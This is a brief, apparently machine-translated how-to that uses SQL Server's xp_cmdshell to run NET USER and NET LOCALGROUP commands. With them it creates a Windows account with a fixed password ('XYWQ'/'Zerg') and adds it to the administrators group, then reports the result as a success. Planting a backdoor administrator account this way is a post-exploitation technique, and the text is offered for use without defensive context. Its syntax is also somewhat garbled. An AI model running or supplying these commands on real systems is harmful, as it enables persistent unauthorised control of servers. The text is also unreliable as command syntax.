Use the command:
NET User User Name Password / Add
NET localgroup group name username / add
SQL Server executes command
Execute XP_cmdshell 'Command String'
Execute XP_cmdshell "Command String"
Instructions
Execute XP_cmdshell 'Net User XYWQ Zerg / Add'
Execute XP_cmdshell 'Net localgroup administrators xywq / add'
Successfully use SQL Server to add a Windows administrator account
